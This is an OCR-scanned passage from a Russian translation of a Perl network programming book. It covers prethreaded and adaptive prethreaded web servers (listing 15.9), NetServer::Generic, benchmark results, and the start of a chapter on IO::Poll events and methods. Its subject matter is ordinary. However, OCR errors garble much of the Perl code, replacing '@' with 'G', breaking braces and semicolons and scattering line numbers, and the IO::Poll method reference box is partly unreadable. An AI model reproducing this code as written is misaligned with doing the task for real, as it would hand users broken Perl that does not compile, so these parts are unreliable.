Thread->new(\&do_thread,$socket) for (1..PRETHREAD);
sleep;
sub do_thread {
my $socket = shift
while (1) {
next unless my $c = $socket->accept
handle_connection($c);
close $c;
}
}
В главном потоке создается приемный сокет, затем запускаются потоки выполнения,
число которых определено константой PRETHREAD, и в каждом потоке вызывается
подпрограмма do_thread (). После этого главный поток переходит в состояние ожидания.
Между тем, каждый рабочий поток входит в цикл accept (), в котором он ожидает
входящие соединения, обслуживает их, а затем снова возвращается в состояние ожидания.
Выбор потока для обслуживания того или иного соединения происходит случайным образом.
Безусловно, дело обстоит далеко не так просто. Этот код не будет работать на всех
платформах, поскольку в некоторых системах вызов функции accept () завершается
аварийно, если ее вызывают более чем в одном потоке одновременно, и поэтому
нужен механизм для обеспечения того, чтобы лишь один поток в любой момент
времени мог вызвать функцию accept(). i
К счастью, поскольку мы используем потоки, у нас есть возможность применить
вызов встроенной функции lock () и не полагаться на блокировку внешнего файла.
Просто объявляется скалярная глобальная переменная $ACCEPT_LOCK, после чего
процедура do_thread () Изменяется.
sub do_thread { «*■
my $socket = shift
my $c; or-
while Ш { -oc
{
lock $ACCEPT_LOCK;
next unless $c = $socket->accept;
}
handle_connection($c);
close $c;
}
}
Глава 15. Предварительная организация мулътипроцессной и... 489
Теперь цикл while () содержит внутренний блок, который определяет область
действия блокировки. Внутри этого блока предпринимается попытка установить
блокировку на переменной $ACCEPT_LOCK. В результате блокировки потоков только
один поток может получить блокировку в любой момент времени; другие
приостанавливаются до тех пор, пока блокировка не станет доступной. После получения
блокировки вызывается функция accept (), и этот вызов блокируется до тех пор, пока не
появится входящий запрос на установление соединения. Вскоре после приема нового
соединения блокировка освобождается, поскольку происходит выход за пределы
области определения внутренней пары фигурных скобок. Это позволяет другому потоку
получить блокировку и вызвать функцию accept (). После этого соединение
обслуживается, как обычно.
Адаптивное предварительное формирование
потоков
Еще одним недостатком простого сервера с предварительным формированием
потоков является то, что после перехода всех потоков, запущенных в начале работы
сервера, в состояние обслуживания соединений, другие входящие запросы на
установление соединения будут переведены в состояние ожидания. Желательно, чтобы
главный поток запускал новые потоки, если возникает необходимость обработать
возросшую нагрузку сервера, и удалял лишние при уменьшении нагрузки.
Это требование можно выполнить с использованием подхода, аналогичного
применяемому в сервере с предварительным ветвлением, создав глобальный хеш
%STATUS, с помощью которого главный поток сервера мог бы вести контроль, а все
прочие потоки могли вносить изменения. В отличие от сервера с предварительным
ветвлением, в данном случае нет необходимости использовать каналы или
разделяемую память для поддержки хеша в актуальном состоянии. Поскольку все потоки
работают в одном и том же процессе, они могут вносить изменения в хеш % STATUS
непосредственно, если будут приняты соответствующие меры по синхронизации их
доступа к хешу путем его блокировки перед внесением изменений.
Ключами хеша % STATUS являются идентификаторы потоков (TID— thread
identifier), а возможными значениями— строки "busy", "idle" или "goner". Первые
два кода состояния имеют такой же смысл, как и в серверах с предварительным
ветвлением. Третий код состояния будет описан позже. Чтобы упростить управление
хешем %STATUS, можно применить небольшую подпрограмму status (), которая
позволяет потокам проверять и изменять хеш, не нарушая работу других потоков.
Получив значение TID, подпрограмма status () возвращает состояние указанного потока.
my $tid = Thread->self->tid;
ту $status = status($tid);
При вызове с двумя параметрами подпрограмма status () изменяет
состояние потока.
status($tid => 'busy');
Если второй параметр имеет значение undef, подпрограмма status () полностью
удаляет указанный поток из хеша % STATUS.
В каждом цикле accept () рабочего потока подпрограмма status () вызывается
для установки состояния текущего потока в значение "idle" перед вызовом функции
accept () и в значение "busy" — после приема соединения.
490
Часть Ш. Разработка систем TCP типа клиент/сервер
Главный поток контролирует изменения в хеше % STATUS и выполняет
соответствующие действия. Для повышения эффективности работы этого потока необходимо
предусмотреть способ передачи ему информации о том, что рабочий поток внес
изменения в хеш %STATUS. Наилучший способ состоит в использовании условной
переменной. При каждом проходе по циклу главный поток вызывает функцию
cond_wait () с указанием условной переменной, переходя в состояние ожидания до
тех пор, пока один из рабочих потоков не укажет, что эта переменная изменилась.
В коде подпрограммы status () предусмотрен вызов подпрограммы
cond_broadcast () при внесении каждого изменения в хеш %STATUS рабочим
потоком, что приводит к активизации главного потока и дает ему возможность выполнить
управленческие функции, связанные с этим изменением.
Еще одной особенностью является то, что для адаптивного сервера должен быть
предусмотрен способ корректного останова. Как и прежде, сервер отвечает на
сигналы TERM и INT, выполняя останов, но как может главный поток сообщить своим
многочисленным рабочим потокам о том, что настало время останова?
В настоящее время не существует способа доставки сигнала конкретному потоку.
Для этого предусмотрено, что каждый рабочий поток периодически проверяет
равенство своего кода состояния специальному значению "goner" и при выполнении
этого условия завершает работу. Для останова рабочего потока главный поток просто
вызывает подпрограмму status () для соответствующей установки кода состояния
рабочего потока.
В листинге 15.9 приведен код Web-сервера с предварительным формированием
потоков, который имеет больший объем, нежели простой многопоточный сервер.
Это свидетельствует о том, что для координации работы многочисленных потоков
должен применяться гораздо более сложный код.
Листинг 15.9. Код Web-ce ве а с п едва «отельным •• • • милованием потоков
0: #!/usr/bin/perl -w
1: # Файл: web prethreadl.pl
10
11
12
13
14
15
16
17
18
use strict;
use IO::Socket;
use IO::File;
use IO::Select;
use Daemon;
use Web;
use Thread qw(cond_wait cond_broadcast);
use constant PIDFILE => '/tmp/web_prethread.pid';
use constant PRETHREAD => 5;
use constant NAX_REQUEST => 30;
use constant HI_WATER_MARK => 5;
use constant LO_WATER_MARK => 2;
use constant DEBUG => 1;
my $STATUS = ''
my $ACCEPT_LOCK = ''
my %STATUS = ()
my $D0NE = 0;
19: $SIG{INT) = $SIG{TERM} = sub { $D0NE++ );
Глава 15. Предварительная организация мультипроцессной и... 491
20: my $port = shift || 8080;
21: my $socket = IO::Socket::INET->new( LocalPort => $port,
22: Listen => 100,
23: , Reuse => 1 ) or
die "Can't create listen socket: $!";
24: my $IN = IO::Select->new($socket);
25: init_server(PIDFILE) ;
26: launch_thread($socket) for (1..PRETHREAD); # Запуск
# потоков
27: while (!$DONE) {
28: lock $STATUS;
29: cond_wait $STATUS;
30: warn join(' ', map {"$_=>$STATUS{$_)"} keys %STATUS),"\n" if DEBUG;
31: my Gidle = sort {$a <=> $b) grep t$STATUS{$_) eq 'idle'}
keys %STATUS,-
32: if (Gidle < LO_WATER_MARK) {
33: launch_thread($socket) for (0..LO_WATER_MARK-Gidle-l);
# Увеличить число дочерних процессов
34: }
35: elsif (Gidle > HI_WATER_MARK) {
36: my Ggoners = Gidle[0..Gidle - HI_WATER_MARK - 1];
# Уничтожить запущенные раньше других
37: status($_ => 'goner') foreach Ggoners;
38: warn "decomissioning Ggoners\n" if DEBUG;
39: }
40: }
41: warn "Server will terminate when last thread has finished...\n"
if DEBUG,-
42: status($_=> 'goner') foreach keys %STATUS;
43: exit 0;
44: sub launch_thread {
45: my $socket = shift;
46: my $thread = Thread->new(\&do_thread,$socket);
47: }
48: sub do_thread {
49: my $socket = shift;
50: my $cycles = MAX_REQUEST;
51: my $tid = Thread->self->tid;
52: my $c;
53: ч warn "Thread jStj-d: starting\n" if .DEBUG; - CI-j ,
54: . . Thread->self->detach; # He запоминать информацию
# о состоянии потока
55: status($tid => 'idle');
56: while (status($tid) ne 'goner' && $cycles > 0) {
57: next unless $IN->can_read(l);
58: {
59: lock $ACCEPT LOCK;
492
Часть III. Разработка систем TCP типа клиент/сервер
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
next unless $c = $socket->accept;
}
$cycles—;
status($tid => 'busy');
warn "Thread $tid: handling connection\n" if DEBUG;
handle_connection($c); close $c;
status($tid => 'idle'};
}
warn "Thread $tid done\n" if DEBUG;
status($tid=>undef);
}
sub status {
my $tid = shift;
lock $STATUS;
return $STATUS{$tid} unless @_;
my $status = shift;
if ($status) {
$STATUS{$tid) = $status
unless defined $STATUS{$tid) and $STATUS{$tid} eq "goner*
} else {
delete $STATUS{$tid};
)
cond_broadcast $STATUS;
)
Проведем анализ программы.
Строки 1-8. Загрузка модулей. Загружаются модули 1С::Socket, Io::File и Ю::Select,
а также Thread. Модуль Thread не импортирует функции cond_wait () и cond_broadcast ()
по умолчанию, поэтому они импортируются явно.
Строки 9-14. Определение констант. Определяются различные константы, используемые
сервером, включая константу prethread со значением числа потоков, которые должны быть запущены
в начале работы сервера; константы со значением верхней и нижней отметок, которые имеют тот же
смысл, что и в серверах с предварительным ветвлением; и флажок debug для включения
отладочных сообщений. Определена также константа max_request, которая управляет тем, какое число
транзакций должен принять поток, прежде чем самостоятельно завершит работу.
Строки 15-18. Объявление глобальных переменных. Переменная $accept_lock. как было
описано ранее, используется для защиты функции accept () — чтобы только один поток
одновременно мог принимать входящие запросы на установление соединения из приемного сокета.
Хеш %status содержит информацию о состоянии каждого потока, которая хранится под ключом,
соответствующим идентификатору этого потока, а $ status представляет собой условную
переменную, применяемую и для блокировки хеша %status, и для указания на то, что он изменился.
Переменная $done указывает главному потоку, что должен быть выполнен останов сервера.
Строка 19. Установка обработчиков сигналов. Создается обработчик сигнвла terminate ()
для сигналов int и term. Этот обработчик устанавливает переменную $done рввной
истинному значению и выполняет возврат.
Строки 20-25. Создание приемного сокета сервера и переход в фоновый режим.
Создается приемный сокет, и программа автоматически переводит себя в фоновый режим, вызывая
подпрограмму init_server (). Создается также объект Ю::select, содержащий приемный
сокет, предназначенный для использования каждым рабочим потоком.
Строка 26. Предварительный запуск ряда потоков. Перед входом в главный цикл запускв-
ется ряд потоков, число которых определено константой prethread, а также выполняется
вызов подпрограммы launch_thread () соответствующее число раз.
Глава 15. Предварительная организация мультипроцессной и... 493
• Строки 27-40. Главный поток: контроль изменения состояния рабочих потоков. Теперь
главный поток входит в цикл, который выполняется до тех пор, пока переменная Sdone не
примет истинное значение. Это указывает нв то, что пользователь потребовал завершения
работы сервера. При каждом проходе по циклу блокируется условная переменная $ status
и сразу же вызыввется функция condwait (), которая разблокирует эту условную
переменную и переведет главный поток в состояние ожидания до тех пор, пока другой поток не
вызовет функцию cond_broadcast () с указанием этой переменной.
После возврата управления из функции cond wait () становится известно, что один из
рабочих потоков сигнализировал об изменении состояния и переменная $ status снова
заблокирована в целях предотвращения внесения дальнейших изменений в хеш % status. Подсчитыва-
втся число простаивающих потоков и выполняется либо запуск новых, либо останов
существующих для поддержания числа простаивающих потоков между нижней и верхней отметками.
Способ выполнения этих операций аналогичен применяемому в адаптивных серверах с
предварительным ветвлением, за исключением того, что рабочие потоки нельзя уничтожать с
помощью сигналов. Состояние таких потоков устанавливается равным "goner" и им
предоставляется возможность самостоятельно завершить работу.
• Строки 41*47. Выполнение заключительных действий. После выхода из главного цикла
состояние каждого рабочего потока устанавливается равным "goner" и вызывается функция
exit (). Хотя уже завершена рвбота главного потока, сам серверный процесс не
останавливается до тех пор, пока каждый поток не закончит обработку ждущих транзакций, не проверит
код состояния и не завершит саою работу.
• Строки 48-67. Подпрограмма do_thread(). Эта подпрограмма создает основу каждого
рабочего потока. Ее выполнение начинается с выборки идентификатора текущего потока и
установки начального значения кода состояния, равного "idle". Теперь подпрограмма входит
в цикл, который заканчивается после того, как код состояния принял значение "goner" или
обслужено число транзакций, указанное константой max_request.
Необходимо периодически опрашивать состояние для своевременного распознавания
требования выполнить завершение работы, поэтому не может допускаться переход сервера в
состояние, блокированное при выполнении функции lock () или accept (). Поэтому для
получения информации о состоянии применяется объект io:: Select, созданный в главном
потоке, в котором выполняется вызов метода can_read() с тайм-вутом в 1 секунду. Если
входящий запрос на установление соединения поступает в течение этого времени, он
обслуживается. В ином случае выполняется возврат в начало цикла для проверки того, не
изменилось ли состояние.
Если метод can_read () возвращает истинное значение, это значит, что сокет готов для
выполнения функции accept (). Упорядочивается доступ к функции accept () путем блокировки
переменной $accept_lock и вызывается функция accept (). В случае успешного
выполнения устанввливается состояние потока "busy" и обслуживается соединение. После закрытия
соединения состояние потока снова устанавливается равным "idle". После выхода из цикла
accept () подпрограмме устанавливает код состояния равным undef, в результате чего
подпрограмма status () удаляет TID данного процесса из хеша %status.
• Строки 71-83. Подпрограмма status (). Данная подпрограмма отвечает за поддержание
хеша %status в актуальном состоянии. Выполнение подпрограммы начинается с блокировки
переменной $ status, чтобы состояние хеша не изменялось бесконтрольно. Если
подпрограмма была вызванв только с параметром, обозначающим идентификатор потока, она
отыскивает код состояния этого потока в хеше %status и возвращает его. В ином случае, если
вместе с этим идентификатором потока был указан новый код состояния, хеш %status coot-
ветстаующим образом изменяется и вызывается функция condjbroadcast () с указанием
переменной $status для передачи всем потокам, ожидающим изменения этой переменной,
информации о том, что в хеш %status были внесены изменения.
После запуска этого Web-сервера с предварительным формированием потоков
с флажком DEBUG, установленным в истинное значение, можно видеть, как в
системном журнале появляются сообщения, которые указывают на появление и
уничтожение каждого рабочего потока; они чередуются с сообщениями от главного потока,
в которых фиксируются итоговые данные о состоянии всех рабочих потоков.
494
Часть Ш. Разработка систем TCP типа клиент/сервер
Jun 25 14:03 36 pesto web_prethreadl.pl:
Thread 1: starting
Jun 25 14:03 36 pesto web_prethreadl.pl:
Thread 2: starting
Jun 25 14:03 36 pesto web_prethreadl.pl: !
Thread 3: starting
Jun 25 14:03 36 pesto web_prethreadl.pl:
Thread 4: starting
Jun 25 14:03 36 pesto web_prethreadl.pl:
Thread 5: starting
Jun 25 14:03 36 pesto-web_prethreadl.pl:
l=>idle 2=>idle 3=>idle 4=>idle 5=>idle
Jun 25 14:03 40 pesto web_prethreadl.pl:
l=>busy 2=>idle 3=>idle 4=>idle 5=>idle
Jun 25 14:03:40 pesto web_prethreadl.pl:
Thread 1: handling connection
Jun 25 14-03:44 pesto web_prethreadl.pl:
l=>busy 2=>idle 3=>busy 4=>idle 5=>idle
Jun 25 14-03-44 pesto web_prethreadl.pl:
Thread 3: handling connection
Jun 25 14:03:47 pesto web_prethreadl.pl:
Thread 2: handling connection
Jun 25 14:03:47 pesto web_prethreadl.pl:
l=>busy 2=>busy 3=>busy 4=>idle 5=>idle
Jun 25 14:03:52 pesto web_prethreadl.pl:
Thread 4: handling connection
Jun 25 14:03.52 pesto web_prethreadl.pl:
l=>busy 2=>busy 3=>busy 4=>busy 5=>idle
Jun 25 14:03:52 pesto web_prethreadl.pl:
Thread 6: starting
Jun 25 14:03.52 pesto web_prethreadl.pl:
l=>busy 2=>busy 3=>busy 4=>busy 5=>idle 6=>idle
Модуль NetServer::Generic
Модуль NetServer: :Generic, разработанный Чарли Строссом (Charlie Stross),
представляет србой инфраструктуру для написания собственных серверных
приложений. В нем предусмотрены основные функциональные средства для управления
многочисленными соединениями TCP и поддержки моделей с ветвлением и
предварительным ветвлением. Этот модуль был обновлен в целях предоставления
поддержки мультиплексных и многопоточных архитектур и, вероятно, вскоре будет
полностью готов.
Модуль NetServer::Generic, который может быть получен из архива CPAN,
очень прост в использовании. При его вызове достаточно предоставить информацию
о конфигурации и функцию обратного вызова, которая должна вызываться при
получении входящего запроса на установление соединения. Обо всем остальном
позаботится сам модуль. Переменные конфигурации позволяют управлять параметрами
предварительного ветвления, такими как максимальное и минимальное число
простаивающих дочерних процессов и число запросов, которые должен принять дочер
ний процесс, созданный путем предварительного ветвления, прежде чем он
прекратит свою работу. Модуль NetServer: : Generic предоставляет также гибкую систему
контроля доступа, позволяющую разрешать или запрещать доступ к серверу с учетом
имени хоста или IP-адреса удаленного клиента.
Глава 15. Предварительная организация мультипроцессной и... 495
Функция обратного вызова вызывается с дескрипторами STDIN и STDOUT,
подключенными к сокету. Это значит, что объем кода Web-сервера со всеми
функциональными средствами примеров, описанных в этой главе, и контролем доступа
сокращается до 100 строк.
Этот модуль' не предоставляет управляемые пользователем функции ведения
журнала, не обеспечивает автоматический перевод в фоновый режим, обработку файла
PID или выполнение других, более специализированных функций, которые часто
требуются для производственных серверов. Однако все эти функции всегда можно
ввести в свои приложения самостоятельно. В любом случае этот модуль незаменим,
если необходимо быстро получить работоспособный сервер, а демон inetd не
обеспечивает достаточный уровень производительности.
Измерение показателей
производительности
Насколько эти методы предварительного ветвления и предварительного
формирования потоков способствуют повышению производительности? Что касается
предварительного ветвления, то здесь преимущества очевидны. Поскольку издержки
запуска новых процессов практически устраняются, серверы с тяжелой нагрузкой
обычно показывают значительное повышение производительности после перехода
от обычного проекта с приемом и ветвлением к предварительному ветвлению. И
действительно, после того как автор применил стандартный эталонный тест WebStone
(http://www.mindcraft.com/webstone) для сравнения скорости подключения
в системе Linux сервера с приемом и ветвлением, приведенного в листинге 15.3, и
сервера с предварительным ветвлением, показанного в листинге 15.5, он обнаружил
значительное повышение производительности (почти в 5 раз) при высоких уровнях
нагрузки, после внесения поправок на издержки фактической передачи файлов.
При использовании серверов с предварительным формированием потоков
ситуация не столь очевидна. Издержки при создании потока не столь велики, как при
создании процесса, и проект, предусматривающий предварительное формирование
потоков, сам вносит дополнительные издержки на блокировку и синхронизацию
потоков. Проводя эталонные тесты WebStone, автор не смог обнаружить повышения
скорости работы сервера с предварительным формированием потоков,
представленного в листинге 15.9, по сравнению с обычным многопоточным сервером,
приведенном в листинге 15.8. Производительность проектов с формированием потоков по
мере необходимости и предварительным формированием потоков была выше по
сравнению с производительностью сервера, действующего по принципу приема
и ветвления, но приблизительно равна производительности сервера с
предварительным ветвлением.
Однако показатели производительности в значительной степени зависят от
операционной системы, аппаратного обеспечения, параметров ядра и других факторов.
Всегда следует проводить проверку временных показателей прототипов конкретного
приложения, прежде чем предпочесть один проект другому.
Достоин удивления тот факт, что все Web-серверы, разработанные в этой главе,
показали лучшие характеристики производительности по сравнению с современным
Web-сервером Apache (при средних уровнях нагрузки они работали примерно в де-
496
Часть Ш. Разработка систем TCP типа клиент/сервер
вять раз быстрее). Конечно же, Apache выполняет намного больше функций по
сравнению с простыми .Web-серверами, разработанными в этой главе, однако это
показывает, что язык Perl может обеспечить вполне приемлемую производительность
работы серьезных сетевых приложений. -i
Менее отрадным является то, что при высоких нагрузках многопоточные
приложения Perl время от времени завершаются аварийно. Поддержка потоков в языке Perl
еще не готова для применения в производственных системах, по крайней мере, что
касается всех версий, вплоть до 5.6. Кроме того, эта нестабильность отражалась даже
на сценариях, в которых не используются многопоточные средства. Например, при
высокой нагрузке, создаваемой клиентами, приведенный в листинге 15.3 сервер,
который создан по принципу приема и ветвления, часто зависал, работая под
управлением интерпретатора Perl с поддержкой потоков. Эта проблема исчезла после
повторного испытания сервера с использованием версии Perl, оттранслированной без
поддержки потоков.
Резюме
В настоящей главе подробно рассмотрены два специализированных способа
организации работы серверов с установлением логического соединения:
предварительное ветвление и предварительное формирование потоков. Здесь описан ряд
эффективных методов межпроцессной связи: сигналы, разделяемая память, именованные
каналы и условные переменные. При проектировании сервера, предназначенного
для работы в условиях интенсивной нагрузки, необходимо учитывать преимущества
и недостатки описанных способов, а также по возможности проводить эталонное
тестирование альтернативных проектов при типичных нагрузках.
Глава 15. Предварительная организация мулътипроцессной и...
497
Глава
Модуль IO::Poll
В предыдущих главах было описано применение функции select () и модуля
10:: Select для мультиплексирования нескольких потоков ввода-вывода. Однако
системный вызов select () имеет некоторые проектные ограничения, .связанные
с тем, что в нем для представления контролируемых дескрипторов файлов
применяется двоичный вектор. На обычном хосте, таком как настольный компьютер,
максимальное число контролируемых файлов обычно невелико, порядка 256, и поэтому
двоичные векторы имеют длину не более 32 байт. Однако на хосте, предназначенном
для размещения таких сетевых приложений, как мощный Web-сервер, максимальное
число контролируемых файлов может измеряться тысячами. Поэтому двоичные
векторы, необходимые для описания каждого возможного дескриптора файла,
становятся слишком большими и требуют просмотра в операционной системе большого
(и редко заполненного) двоичного вектора при каждом вызове функции select ().
Это может послужить причиной снижения производительности.
В стандарте POSIX предусмотрен альтернативный API-интерфейс, основанный на
использовании функции poll (}. Эта функция имеет такое же назначение, как и функция
select (), но в ней для представления наборов файлов используются не двоичные
векторы, а массивы. Поскольку в массивах размещаются только те дескрипторы файлов,
которые в данный момент представляют интерес, выполнение вызова poll() не связано
с бесполезными затратами времени на просмотр большой структуры данных для
определения того, какие дескрипторы необходимо контролировать. Дополнительным стимулом
к использованию функции poll () является ее API-интерфейс, который во многих
отношениях более привлекателен, нежели API-интерфейс функции select ().
Программисты Perl могут получить доступ к функции poll () только через ее
объектно-ориентированный интерфейс, модуль 10:: Poll. Он был введен во время
разработки версии 5.6 языка Perl. Необходимо убедиться в том, что применяемый модуль
10: :Ро11 имеет версию 0.04 или последуюнгую, поскольку предыдущие версии не
были полностью работоспособными.
Применение модуля 10:: Poll
Модуль 10: : Poll немного напоминает модуль 10: : Select, однако он
предусматривает выполнение прямо противоположных действий. При использовании API-
интерфейса 10: :Select создается несколько наборов 10: : Select (обычно по од-
Ш
498
Часть Ш. Разработка систем TCP типа клиент/сервер
ному для операций чтения и записи) и контролируется их состояние с помощью
вызова метода 10: :Select->select (). При использовании модуля 10: :Ро11
создается единственный объект 10: :Ро11, и к нему по одному добавляются дескрипторы
файлов с масками, которые обозначают контролируемые состояния. После этого
вызывается метод poll () объекта 10:: Poll, который блокируется до тех пор, пока не
возникнет одно или несколько таких состояний. После возврата управления методом
poll () объект опрашивается для получения списка затронутых дескрипторов.
Типичная программа начинается примерно так:
use IO::Poll qw(POLLIN POLLOUT POLLHUP);
В этом фрагменте кода загружается модуль 10: :Ро11 и вводятся три константы:
POLLIN, POLLOUT и POLLHUP. Эти константы применяются для формирования маски,
которая указывает, какие состояния дескрипторов файлов должны контролироваться.
Следующий этап состоит в создании объекта 10: : Poll и добавлении к нему
контролируемого дескриптора (дескрипторов).
my $poll = IO::Poll->new;
$poll->mask(\*STDIN => POLLIN);
$poll->mask(\*STD0UT => POLLOUT);
$poll->mask($socket => POLLIN | POLLOUT);
Метод mask () применяется как для добавления дескрипторов к объекту
10:: Poll, так и для их удаления. Он принимает два параметра: контролируемый
дескриптор и битовую маску, обозначающую контролируемые состояния. В этом
примере в дескрипторе STDIN контролируется состояние POLLIN, в дескрипторе
STD0UT— состояние POLLOUT, а в дескрипторе $'socket — события, связанные со
сменой состояния POLLIN или P0LL0UT, что обозначено путем объединения этих
двух констант с помощью поразрядного оператора "ИЛИ". Как будет подробно
описано ниже, состояния POLLIN и POLLOUT возникают, соответственно, когда
дескриптор файла переходит в состояние готовности для чтения или записи.
После настройки объекта 10:: Poll программа обычно входит в цикл ввода-
вывода. При каждом проходе по циклу вызывается метод poll () объекта 10: : Poll
для ожидания определенного события, а затем происходит вызов метода handles ()
для определения затронутых дескрипторов.
while (1) {
$poll->poll() ;
my Greaders = $poll->handles(POLLIN I POLLHUP | POLLERR);
my Gwriters = $poll->handles(POLLOUT);
foreach (Greaders) {
do_reader ($_) ;
}
foreach (Gwriters) {
do_writers($_) ;
}
}
Метод poll () находится в состоянии ожидания до тех пор, пока хотя бы одно из
затребованных состояний не примет истинное значение, и возвращает число
дескрипторов, в которых произошли события, связанные со сменой состояний. Как и в случае
select (), может быть задано необязательное значение тайм-аута для возврата, если в
течение указанного периода не произойдет ни одного события. Метод handles ()
возвращает все дескрипторы файлов, в которых произошла смена состояний, указанных
соответствующей битовой маской. В этом примере метод handles () вызывается
дважды, но с разными битовыми масками. При первом вызове проверяются дескрипторы,
Глава 16. Модуль IO::Poll
499
готовые для чтения (POLLIN), закрытые вторым участником соединения (POLLHUP)
и содержащие какие-то другие ошибки ( POLLERR). Во втором вызове выполняется поиск
дескрипторов, готовых для записи. В оставшейся части цикла, показанного в этом
примере, обрабатываются дескрипторы в соответствии с требованиями приложения.
Как и select (), функция poll () должна применяться только в сочетании
с функциями sysread () и syswrite (). Недопустимо применение функции poll ()
наряду с процедурами, в которых используется стандартная буферизация ввода-
вывода (к ним относятся оператор о или обычные функции read () и write () ).
События 10:: Poll
Модуль 10: :Ро11 позволяет контролировать в дескрипторах более широкий
набор состояний по сравнению с модулем 10:: Select. Кроме того, он дает
возможность не только контролировать наличие в дескрипторе входящих данных и
определять его способность принимать исходящие данные без блокировки, но и
распознавать появление входящих "высокоприоритетных данных" двух уровней, а также
определять условия конца файла и обнаруживать ошибки нескольких различных
типов. Смена состояния дескриптора называется "событием".
Каждое событие обозначено одной из констант, которые перечислены
в табл. 16.1. Они подразделяются на константы, которые могут быть добавлены к
битовым маскам, направляемым в метод poll() с использованием метода mask(), и
константы, которые возвращаются ««метода poll () с помощью метода handles ().
Таблица 16.1. Константы маски модуля Ю:: Poll
В метод Из метода Описание
pollQ polK)
Ситуации ввода
POLLIN X X Доступны для чтения обычные или
высокоприоритетные данные
P0LLRDNORM X X Доступны для чтения обычные данные
P0LLRDBAND X X Доступны для чтения высокоприоритетные данные
P0LLPRI X X Доступны для чтения данные с наивысшим
приоритетом
Ситуации вывода
POLLOUT X X Доступны для записи обычные или
высокоприоритетные данные
Доступны для записи обычные данные
Доступны для записи высокоприоритетные данные
Произошло зависание
Дескриптор не открыт
Ошибка
P0LLWRN0RM
POLLWRBAND
Аварийные
ситуации
POLLHUP
POLLNVAL
POLLERR
X
X
X
X
X
X
X
500
Часть Ш. Разработка систем TCP типа клиент/сервер
Ниже каждое событие рписано более подробно.
* ■ "POLLIN. В дескрипторе имеются данные для чтения, и функция sysread () не
заблокируется. В случае приемного сокета по маске POLLIN распознается
наличие входящего соединения, и функция accept () не заблокируется. Событие,
происходящее при обнаружении конца файла, зависит от операционной
системы и будет описано позже.
■ POLLRDNORM. Это событие аналогично POLLIN, но относится только к
обычным (неприоритетным) данным.
■ POLLRDBAND. Для чтения доступны высокоприоритетные данные. Попытка
прочитать внеочередные данные (глава 17) будет выполнена успешно.
■ POLLPRI. Для чтения доступны данные "с наивысшим приоритетом". (Данные
с наивысшим приоритетом— это исторический пережиток, и они не должны
использоваться в программировании TCP/IP.)
■ POLLOUT. Дескриптор может принять, по меньшей мере, один байт данных для
записи (это значение можно изменить путем установки другого значения
нижней отметки выходного буфера сокета, как описано в главе 12). Функция
syswrite () не заблокируется, если объем вывода не превышает этого
значения. В этом событии не различаются обычные и высокоприоритетные данные.
■ POLLWRNORM. Дескриптор может принять, по меньшей мере, один байт
обычных (неприоритетных) данных.
■ POLLWRBAND. Дескриптор может принять, по меньшей мере, один байт
внеочередных данных (глава 17).
■ POLLERR. В дескрипторе возникла ошибка, например PIPE. При работе с соке-
тами можно определить фактический номер ошибки, вызвав функцию
sockopt () с опцией SOERROR (глава 13).
■ POLLNVAL. Дескриптор является недействительным. Например, он закрыт.
■ POLLHUP. В случае каналов и сокетов удаленный процесс закрыл соединение.
Это событие не применяется для обычных файлов.
Существуют тонкие различия в реализации событий POLLIN и POLLHUP в разных
операционных системах и дескрипторах ввода-вывода различных типов. Во многих
операционных системах метод poll () возвращает событие POLLIN для, дескриптора
файла, предназначенного для чтения, если обнаружен конец файла. Напомним, что
при работе с обычными дескрипторами файлов это событие возникает при
обнаружении признака конца файла, а в сокетах — при закрытии вторым участником обмена
данными своего конца соединения.
К сожалению, эти правила не везде одинаковы. В некоторых (даже, возможно, во
всех) системах Linux событие POLLIN при закрытии сокета не устанавливается.
Поэтому приходится проверять событие POLLHUP. Однако это событие относится
только к сокетам и каналам и не/применяется к обычным дескрипторам файлов; в
результате логика программы становится довольно замысловатой.
Наиболее приемлемый подход состоит в выборке дескрипторов файлов, которые
могут быть доступны для чтения, путем вызова дескрипторов с битовой маской
POLLIN I POLLHUP | POLLERR. Затем можно передать каждый дескриптор
функции sysread () и определить по возвращаемому значению, в каком состоянии
находится дескриптор.
Глава 16. Модуль Ю::Ро11
501
Аналогичным образом проще всего проверить, какие дескрипторы файлов готовы
для записи, с использованием битовой маски POLLOUT | POLLERR. Последующий
вызов функции syswrite () покажет, открыт ли дескриптор файла или содержит ошибку.
Методы 10:: Poll
Основные методы модуля Ю:: Poll уже рассмотрены. Ниже даны их определения.
-^-rgg^^-.^y^ ,^__р~- г^г^ягзг"' -- --;t-iss5Tv
$poll = IO: ;J?oll->new "*■ ,s#
Создает новый^обйёктто^ :PolJ.. В отличие от модуля 1рйSelect, мет6д,;йёи() данного мо-J
дуля не принимает параметров. ■■ > «- j
Smask = Spoil-t^mask{$haii<iieI,,Smai>kl) ,, I
Получает или устанввливает текущую битовую маску событий для указанного дескриптора. Если j
параметр $mask маски не задан, возвращается текущая маска, В ином случае этот'параметр ис-
| пользуется для установки маски. Маска, равная А полностью удаляет дескриптор из
контролируемого набора. Во всех дескрипторах контролируются состояния ошибки (pollnval, poller^. POLLHOP),
независимо от того, указаны они в битовой маске или кет. '... ',
i ■■■■■■ ■■ fo. v
|?: $poll->remove($handle) ' » -•
с • ■ * J
I Удаляет дескриптор из списка опроса. Этот метод полностью эквивалентен вызову метода
riftasJcO с параметромйитовой маски, равным о. а -' Л
i $events = Spoll->poll<[$timeoutl) л, _, N|
в ^ Находится в состоянии ожидания до тех пор, пока в контролируемых дескрипторах не возникнет I
"какое-либо событие или нв истечет время, установленное параметром $timeout, после чего воз-./]
вращает число дескрипторов, в которых произошли события. Параметр $ timeout задается в секун- j
I дах и может иметь дробное значение. Тайм-аут, равный 0, приводит к неблокирующему поведению. -:
При отсутствии параметра с обозначением тайм-аута или при тайм-ауте, равном -i'.;методфоН (Г
' блокируется на неопределенное время.,.
!"' Gbandles = $poll->handles([$mask])
I При вызове без параметров метод handles () возвращает список всех дескрипторов, известных Объ-У
-.екту ЮиРоИ.При вызове с битовой маской, обозначающей Набор событий, возвращает все дескрипто-1
■ ры, в которых возникло одно из указанных событий с момента предыдущего вызова метода poll ().
|; $mask = $poIl->events($handl6)' t^ I* V*
i Метод events () возвращает битовую'маску, содержащую все события, которые произошли
\\в дескрипторе SifendjiVe момента предыдущего вызова метода^са1'().; Н .t-.v-^j -й:^.гч ;; 1
Пример использования модуля 10:: Poll
для разработки неблокирующего
клиента TCP
В листинге 16.1 приведен практический пример использования модуля 10: : Poll,
сценарий gab 7. pi, который представляет собой последний в этой книге клиентский
сценарий TCP из ряда клиентов gab, работающих подобно клиентам Telnet. Этот
